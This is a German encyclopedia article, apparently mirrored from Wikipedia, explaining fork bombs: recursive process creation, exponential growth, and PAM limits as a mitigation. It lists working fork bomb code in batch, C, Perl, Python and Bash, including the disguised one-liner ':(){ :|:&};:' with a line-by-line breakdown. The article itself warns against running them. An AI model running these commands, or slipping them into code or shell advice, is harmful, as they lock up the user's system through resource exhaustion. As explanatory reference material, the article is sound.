Forkbomb

Forkbomb
Rekursive Prozesserzeugung

Eine Forkbomb ist ein Programm, dessen einziger Zweck es ist, rekursiv Kopien seiner selbst zu starten und so alle verfügbaren Systemressourcen zu verbrauchen und das System zu blockieren. Unter Unix geschieht das im einfachsten Fall mit dem Aufruf des Systemcalls fork in einer Endlosschleife.

In Pseudocode sieht eine Forkbomb etwa so aus:

ProgrammX {
  Rufe ProgrammX auf;
  Rufe ProgrammX auf;
  Warte bis ProgrammX beendet wurde;
}

Das Programm ruft zwei Kopien seiner selbst auf und wartet, bis sie wieder beendet wurden. Dieser Zustand wird jedoch niemals erreicht werden, da die Kopien genauso verfahren. Aus einem Programmaufruf werden somit zunächst 2, dann 4, dann 8 und nach nur 10 solcher Zyklen sind bereits über tausend Kopien gestartet und aktiv. Allgemein lässt sich festhalten, dass nach n Zyklen 2n Prozesse erzeugt worden sind, ihre Anzahl also exponentiell zunimmt. Diese verbrauchen, selbst wenn sie keinen komplizierten Code enthalten, CPU-Zeit und Speicher zur Verwaltung durch das Betriebssystem. Ein normaler Betrieb beziehungsweise normales Arbeiten ist bereits wenige Sekunden nach Aufruf der Forkbomb nicht mehr möglich.

Der konkrete Effekt einer Forkbomb hängt in erster Linie von der Konfiguration des Betriebssystems ab. Beispielsweise erlaubt PAM auf Unix- und Unix-ähnlichen Betriebssystemen die Zahl der Prozesse und den maximal zu verbrauchenden Speicher pro Benutzer zu beschränken. „Explodiert“ eine Forkbomb auf einem System, welches diese Möglichkeiten der Beschränkung nutzt, scheitert irgendwann der Versuch, neue Kopien der Forkbomb zu starten und das Wachstum ist eingedämmt.

Inhaltsverzeichnis

Beispiele für Forkbombs

Um die Stabilität des Systems nicht zu gefährden, wird empfohlen, die nachstehend genannten Beispiele nicht auszuführen.

Microsoft Windows Batch-Datei

%0|%0

oder

 @echo off
 :start
 start "Forkbomb" /high %0
 goto start

C

Unix

#include <unistd.h>
 
int main(void){
    for(;;)
        fork();
    return 0;
}

Windows

#include <windows.h>
 
int main(int argc, char **argv) {
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
 
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
 
  while (1) {
          SetConsoleCtrlHandler(0, 1);
          CreateProcess(*argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &si, &pi);
  }
 
  return 0;
}

Perl

perl -e "fork while fork"

Python

import os
 
while True:
     os.fork()

oder als Kommandozeilenaufruf:

python -c 'while 1: __import__("os").fork()'

Bash

function f() {
    f | f&
}
f

Um die Eigenschaft als Forkbomb zu verschleiern, wird obiger Code häufig in folgender Kurzform gegeben:

:(){ :|:&};:

Erklärung:

:()      # Definition der Funktion ":" -- immer wenn ":" aufgerufen wird, tue das folgende:
{        # 
    :    # eine neue Kopie von ":" laden
    |    # ... und seine Standardausgabe umleiten auf ...
    :    # ... eine weitere Kopie von ":" (die auch in den Speicher geladen werden muss)
         # (":|:" erzeugt also einfach 2 Kopien von ":", immer wenn es aufgerufen wird)
    &    # die Befehlszeile unabhängig vom aufrufenden Prozess machen (im Hintergrund ausführen)
}        # 
;        # Nach der Definition von ":"
:        # ... wird durch einen Aufruf ":" die Kettenreaktion in Gang gesetzt.

Literatur


Wikimedia Foundation.

Игры ⚽ Поможем решить контрольную работу

Schlagen Sie auch in anderen Wörterbüchern nach:

  • Forkbomb — Fork bomb Schéma de la bombe logique : un processus est forké de manière récursive jusqu à saturer les ressources et aboutir à un plantage ou un déni de service La fork bomb est une forme d attaque par déni de service contre un système… …   Wikipédia en Français

  • Fork bomb — The concept behind the fork bomb – the processes recursively fork until a denial of service or a crash occurs In computing, the fork bomb is a form of denial of service attack against a computer system which makes use of the fork operation (or… …   Wikipedia

  • Fork Bomb — Schéma de la bombe logique : un processus est forké de manière récursive jusqu à saturer les ressources et aboutir à un plantage ou un déni de service La fork bomb est une forme d attaque par déni de service contre un système informatique… …   Wikipédia en Français

  • Netzliteratur — Digitale Poesie ist eine Form des künstlerischen Umgangs mit Sprache, die in Medien wie Computer und Internet realisiert und seit den 1990er Jahren als eigenständige Kunstform wahrgenommen wird. Der Begriff der digitalen Poesie vereint mehrere… …   Deutsch Wikipedia

  • Digitale Poesie — ist eine Form des künstlerischen Umgangs mit Sprache, die in Medien wie Computer und Internet realisiert und seit den 1990er Jahren als eigenständige Kunstform wahrgenommen wird. Der Begriff der digitalen Poesie vereint mehrere unabhängig… …   Deutsch Wikipedia

  • Jaromil — infobox person name = Denis Jaromil Rojo other names = Jaromil Rasta Coder Denis Roio Rami birth place = Pescara, Italy birth date = 1977 residence = Amsterdam, Netherlands nationality = Gipsy (Italian/Austrian/Dutch) employer = Netherlands Media …   Wikipedia

  • Software art — refers to works of art where the creation of software, or concepts from software, play an important role; for example software applications which were created by artists and which were intended as artworks. Although video games are also software… …   Wikipedia

  • Fork (Unix) — Beim Systemaufruf Fork erzeugt der aktuelle Prozess eine Kopie von sich selbst, welche dann als Kindprozess des erzeugenden Programmes läuft. Der Kindprozess übernimmt die Daten, den Maschinencode und den Befehlszähler vom Elternprozess und… …   Deutsch Wikipedia

Share the article and excerpts

Direct link
Do a right-click on the link above
and select “Copy Link”